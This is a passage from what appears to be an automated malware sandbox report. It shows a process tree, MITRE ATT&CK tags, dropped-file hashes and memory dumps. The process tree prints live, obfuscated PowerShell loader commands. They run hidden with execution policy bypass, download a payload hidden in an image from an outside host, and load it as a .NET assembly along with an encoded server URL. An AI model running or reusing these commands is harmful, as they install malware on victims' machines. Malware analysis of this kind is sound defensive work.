♛♚g♛♚Fs♛♚bwBi♛♚Go♛♚ZQBj♛♚HQ♛♚WwBd♛♚F0♛♚I♛♚♛♚o♛♚Cc♛♚Z♛♚BI♛♚Gg♛♚M♛♚BM♛♚G0♛♚Ug♛♚y♛♚Fo♛♚MwBr♛♚D♛♚♛♚T♛♚B6♛♚GM♛♚M♛♚BM♛♚Go♛♚WQ♛♚w♛♚E0♛♚aQ♛♚0♛♚Hk♛♚TwBT♛♚DQ♛♚e♛♚BP♛♚FM♛♚O♛♚B2♛♚E8♛♚bgBC♛♚D♛♚♛♚Z♛♚BH♛♚Gc♛♚PQ♛♚n♛♚C♛♚♛♚L♛♚♛♚g♛♚Cc♛♚Z♛♚Bm♛♚GQ♛♚ZgBk♛♚Cc♛♚I♛♚♛♚s♛♚C♛♚♛♚JwBk♛♚GY♛♚Z♛♚Bm♛♚Cc♛♚I♛♚♛♚s♛♚C♛♚♛♚JwBk♛♚GY♛♚Z♛♚Bm♛♚Cc♛♚I♛♚♛♚s♛♚C♛♚♛♚JwBk♛♚GE♛♚Z♛♚Bz♛♚GE♛♚Jw♛♚g♛♚Cw♛♚I♛♚♛♚n♛♚GQ♛♚ZQ♛♚n♛♚C♛♚♛♚L♛♚♛♚g♛♚Cc♛♚YwB1♛♚Cc♛♚KQ♛♚p♛♚♛♚==';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.replace('♛♚','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg?1700183864';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmR2Z3k0Lzc0LjY0Mi4yOS4xOS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
9b43f21049d6aee97c69de4a96b6f2f5

SHA1
48427106761c359db6b8d4a202b82e21f9460fa4

SHA256
b9524acd40bdb8bdf8f352ae52308c32f9d86d7b9256a38d39b3fedca9551a93

SHA512
8269615d4ae38bcf50addc19c2632975b65e99e407fcbbf3dbee5bd157126f60d62510cd4dd4150183aed2482c315dd44dc4f53bd7aba14260560b3faf720934

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabC821.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarC8FF.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6AIZ09HAV64R2G1L44LI.temp

Filesize
7KB

MD5
8e67ed64353ee085cf84477b2d3dda2d

SHA1
c8fd52ff339408fbc4d7ff4dfe8d40dd4689a74a

SHA256
fbcef2db7bc0b69b71b2afa2c2d11a1404ecc997e29095ea9b66db32a92dacf6

SHA512
ef91c973a88313919bf83183fc335f1cdb4897c279604aabb6afe30b8d05640ee3885c9f5ed27641d83572ad66eb98422a42a0e27819e245edcaf496ad30af62

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
8e67ed64353ee085cf84477b2d3dda2d

SHA1
c8fd52ff339408fbc4d7ff4dfe8d40dd4689a74a

SHA256
fbcef2db7bc0b69b71b2afa2c2d11a1404ecc997e29095ea9b66db32a92dacf6

SHA512
ef91c973a88313919bf83183fc335f1cdb4897c279604aabb6afe30b8d05640ee3885c9f5ed27641d83572ad66eb98422a42a0e27819e245edcaf496ad30af62

Download Submit
C:\Users\Admin\AppData\Roaming\yqavbh.js

Filesize
37KB

MD5
256cc022184324c3f5a002c7b6428703

SHA1
1c853c51bfd15222b552dc931bd91ed46d62fd21

SHA256
59af2921c60ac2a2019c4906929a63cf815b2decbc1dca744b3ee365325f431d

SHA512
f96c9e4bd5d62e33a6812d43c412c03c37e8023e8b79e8ca900898a5057369006bb329b7ef3ed8782de5e85c3bfac7a8cca1b96465f8d3cc33b81129ea27ec07

Download Submit
C:\Users\Admin\AppData\Roaming\yqavbh.js

Filesize
37KB

MD5
256cc022184324c3f5a002c7b6428703

SHA1
1c853c51bfd15222b552dc931bd91ed46d62fd21

SHA256
59af2921c60ac2a2019c4906929a63cf815b2decbc1dca744b3ee365325f431d

SHA512
f96c9e4bd5d62e33a6812d43c412c03c37e8023e8b79e8ca900898a5057369006bb329b7ef3ed8782de5e85c3bfac7a8cca1b96465f8d3cc33b81129ea27ec07

Download Submit
memory/2124-100-0x000000007259D000-0x00000000725A8000-memory.dmp

Filesize
44KB

Download
memory/2124-99-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2124-97-0x000000007259D000-0x00000000725A8000-memory.dmp

Filesize
44KB

Download
memory/2124-1-0x000000007259D000-0x00000000725A8000-memory.dmp

Filesize
44KB

Download
memory/2124-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2512-22-0x000000006C000000-0x000000006C5AB000-memory.dmp

Filesize
5.7MB

Download
memory/2512-23-0x00000000024B0000-0x00000000024F0000-memory.dmp

Filesize
256KB

Download
memory/2512-21-0x000000006C000000-0x000000006C5AB000-memory.dmp

Filesize
5.7MB

Download
memory/2512-95-0x000000006C000000-0x000000006C5AB000-memory.dmp

Filesize
5.7MB

Download
memory/2736-11-0x000000006C000000-0x000000006C5AB000-memory.dmp

Filesize
5.7MB

Download
memory/2736-15-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2736-96-0x000000006C000000-0x000000006C5AB000-memory.dmp

Filesize
5.7MB

Download
memory/2736-14-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2736-13-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2736-12-0x000000006C000000-0x000000006C5AB000-memory.dmp

Filesize
5.7MB

Download